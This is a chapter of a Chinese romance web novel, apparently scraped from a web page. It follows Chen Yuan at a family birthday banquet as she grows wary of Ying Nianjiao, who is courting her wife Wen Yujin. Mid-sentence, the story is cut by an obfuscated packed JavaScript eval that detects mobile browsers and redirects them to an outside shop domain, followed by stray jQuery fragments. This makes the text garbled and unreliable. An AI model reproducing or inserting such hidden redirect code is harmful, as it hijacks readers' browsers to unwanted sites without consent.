10. 第 10 章
    主家这一支,只有闻玉晏和闻玉津两姐妹,闻礼同辈最小的一位堂妹,刚成年不久,因为嘴巴甜,很受奶奶喜欢,因此被宠得有点无法无天。

    对方咋咋呼呼的样子,那种热热闹闹的气场,是她融不进去的。不过她和闻玉津关系很好,所以爱屋及乌,陈愿也愿意分出耐心,去包容这位小妹妹。

    陈愿之前有去教堂听音乐会,其中几次就是和闻礼一起去的,这个小姑娘看谁都热情,她纵然不适应这份亲近,但绝对不讨厌,观感还算不错。

    闻礼人很可爱,只是说的话落在陈愿的耳朵里就不太好听了。

    她说聚餐。

    陈愿就再次想起了那条看不到的朋友圈,又说生日礼物,她就拨动视线,目光落到那条相思结手链上。

    随后抬眼,视线一寸寸上移,钉到应念皎的脸上。

    陈愿并不是个迟钝的人,相反,她拥有极高的共情力,和嗅觉敏锐的天赋,正因如此,她才会封闭内心,只关注自己在意的几个人,不让旁人来影响自己。

    在不了解她的人看来,就显得木呆呆的,很好说话的样子。

    她原本没给应念皎分一丝一毫的注意力,不愿意让除了姐姐以外的人,分薄掉她的心神。

    可就在刚刚那一瞬间,陈愿忽然发觉,这人貌似来者不善。

    她们来参加宴会,从头到脚都是造型师帮忙搭配的,不会有一个多余或者不和谐的东西,除非是自己刻意留下——就像这条手链。

    就算是为了自身事业,想要和闻玉津修复关系,也不至于做到这个地步吧,两家总有交情在,难道她什么都不做,闻玉津就不会帮了吗?

    察觉到她的目的,再回想之前不甚愉快的两次会面,陈愿的眉眼渐渐冷了下来。

    这人是来跟自己抢姐姐的!怪不得这样讨厌。

    闻玉津仿佛一无所觉,真就像一个宽容贴心的姐姐似的,对自家淘气的妹妹无可奈何,好似只关注闻礼,没注意到别的。

    “你想要什么礼物?直说就行。而且那手链已经绝版了,我也变不出第二个来。”

    闻礼眼珠一转,嘿嘿笑道:“我想要你车库里那辆九尾狐蓝。”

    应念皎插进两个人之间的对话,状似责备道:“那是玉津最爱的跑车,改装过好多次呢,还用来比赛过,阿礼,你难道不知道玉津最是念旧吗?”

    说话间,她眼尾的睫毛翘了下,丢给闻玉津一个安抚的眼神,似乎在说“放宽心,我帮你摆平”。

    “可以给。”陈愿突然开口,生硬地挤进来。

    惹得所有人都把视线看向她,她才后知后觉地意识到自己说了什么,眼巴巴地去看闻玉津,一双猫眼清澈透亮,紧张兮兮的,“可以给的,是不是?”

    片刻后,闻玉津悠然笑道,“当然可以,它只是一辆车罢了。钥匙去找管家要,你想什么时候开走都行。”

    陈愿小小地雀跃了一下,觉得还是自己更了解姐姐的想法,倘若她现在还喜欢赛车,是绝对要去玩的。

    不玩,不就是不喜欢的意思吗?

    姐姐才不是念旧的人。

    这话落到应念皎耳朵里,她也不恼,反而感慨道:“是啊,你说得对,只是一辆车。”

    反正她人在这里,装载过去不好回忆的车,自然也没有留下来的必要。

    身为生日宴的主家,闻玉津是没道理躲在角落闲聊的,她要帮忙招呼宾客们,和亲朋好友寒暄。

    陈愿虽然不喜交际,但也刻意学过礼仪,也懂得如何说场面话,她只是不愿意而已。

    心里纵然不喜欢,但一想到这是为了帮闻玉津分担,再多的抗拒都化作动力,促使着她强行做出一副开朗模样,任谁也挑不出错来。

    闻礼是小辈,可以躲清闲,她就和应念皎留在原地,看那两个人蝴蝶一样,从这群人飞到那群人。

    她轻轻撞了下旁边人的肩膀,“念皎姐,你和我二姐,你们两个,嗯哼?”

    闻礼表情揶揄,很八卦的模样。

    应念皎不咸不淡地说:“你胡说什么呢,玉津都已经结婚了,这话让人听见了不好。”

    闻礼皱了皱鼻子,哼了一声,“她那个结婚对象跟个闷葫芦似的,哪有你好。再说了,明眼人谁瞧不出来,那就是个代替品,现在正主回来了,她一个赝品还不赶紧乖乖让位?”

    她有一张瞧着很元气可爱的面庞,但从嘴里吐出的话,就不如这张脸漂亮了。

    “念皎姐还不知道吧,本来呢,二姐是不打算结婚的,但是她妈妈一直催,她一赌气,就从家里搬了出去,和这位领了证,婚礼是后办的。”

    “她这样的出身,能嫁进我们家,祖上不知道烧了多少香,也就是走狗屎运罢了。要我看,念皎姐才应该来做我的嫂子呢!”

    闻礼话里的鄙夷分外清晰,应念皎眼底却划过一道冷光。

    这种出身?

    她自己也只是个养女罢了,是应家从孤儿院领回来的,论出身还不如这位陈愿陈小姐,起码人家还有一个妈妈尚在人世。

    而她呢,双亲不知道是否健在,不论是去世了,还是活着但抛弃她,都不是什么好事。

    尽管闻礼是站在她这边,应念皎心里还是生出一点不愉来。

    何况闻礼这段话里,有多少是真心想让她上位,又有多少心思是想看热闹,还有多少心思是单纯看陈愿不顺眼,都很难说。

    纵然不愉快,但她却不能表现出来,反而有点愁苦地叹了口气,“我和玉津……大概是有缘无分吧,她现在过得很幸福,我又怎么好打扰,去破坏这份感情。”

    “只是做朋友,就很好了。”

    她不欲和闻礼多聊,这个人口无遮拦,容易牵连到她。正巧闻家主出现,应念皎就自然而然地截断话头,往中心靠拢。

    闻家主是个很和煦的人,外表看起来有种儒雅的书生气,不像个商人,倒像个教书育人的教授,带着一副金链眼镜,笑眯眯的。

    或许做生意的都有一种天赋,可以摆出很亲切的笑脸。这场生日宴虽然叫这个名字,但说穿了,也只是商业交流的一个平台。

    闻玉晏作为继承人,就站在她手边,面孔年轻,气

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032422|148833||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    势却不输,短发向后梳,整张脸露在外面,一双凤眸清冽。

    她更像闻家主,瞧不出多少混血的基因,只有鼻子和闻玉津相似,随了妈妈。

    闻家主说了几句欢迎的套词,就开始夸赞闻玉晏,说她主张研发的新能源汽车如何如何,随后就把舞台交给了后者。

    闻玉津在底下站着,众人鼓掌的时候,她也跟着鼓掌,面上是与有荣焉的神情。

    而闻夫人在她身边,脸上带笑,却小声数落道:“看看你大姐,就是让人省心,你就不能学学她?”

    闻玉津:“看看母亲,刚给了我两套房子,就是让人高兴,妈,你就不能学学?”

    闻夫人眼皮一耷,皮笑肉不笑地说:“你现在翅膀硬了,有自己的想法,开始和我顶嘴了,我说不过你,但你也别太任性了,我辛辛苦苦这么多年,为的还不是你?”

    闻玉津转过眼来看她,淡青的眸子微微一眯,“妈,我自己的事,你不要插手。”

    闻夫人瞪着她,“我是为了谁?”

    闻玉津却不买账,目光轻轻落到她脸上,红唇微提,“有些话说穿了会伤感情,妈,我只重复最后一遍,我的事,你不要管。”

    前者被她的目光一摄,下意识躲闪,随后面子上又有点挂不住,使劲白了她一眼,但总算是把嘴闭上了。

    她们母女两人的谈话,陈愿尽管听在耳朵里,但也没听明白,什么管不管的。

    姐姐都已经结婚了,闻夫人的确不应该胡乱插手她的事啊。

    自己和妈妈的关系就很好,妈妈信任她,对她的想法都是以支持和鼓励为主,就算她高中毕业忽然说要报考艺术类的院校,妈妈也同意了,支持她去做自己喜欢和想做的事。

    台上闻玉晏在讲汽车的事,陈愿左耳朵进右耳朵出,又在发散思维。

    这周还没有回家去看妈妈,明天正好可以去,要给香香偷摸带两个罐头,说起来之前看到一个毛绒的被罩不错,不知道妈妈喜不喜欢,咦,这个人的挎包好像个馒头啊,忽然有点想吃,馒头配腌黄瓜真是绝世美味,不知道妈妈腌了没有……

    “阿愿。”身旁的人捏了捏她的手腕,陈愿陡然回神,才发觉台子上已经没人了,宴会进入到随意交流的阶段。

    “又走神,刚刚有没有想我?”

    闻玉津了然的眼神让陈愿耳垂有点红,问的话就更让她无地自容了。

    “在想妈妈来着。”

    “正好有空,我和你一起去看她吧,品牌方送了很多燕窝和护肤品,给妈妈拿上一份。”闻玉津自然地说,“我记得妈妈喜欢喝菌菇汤,正好前段时间有人给家里送了很多野菌干,也带一些回去。”

    陈愿:“嗯嗯!”

    说话间,忽然前方有一点骚乱,两人穿过人群,就见到应念皎面色苍白,裙摆濡湿了一片暗色酒渍,她握着手腕,有鲜红色血迹宛若藤蔓在淡白的手背上攀爬。

    “玉津。”她无助的眼眸在见到来人时瞬间亮起,又在看到另一个人时相携而来的身影时瞬间黯淡,“没事的,只是我不小心弄碎了酒杯。”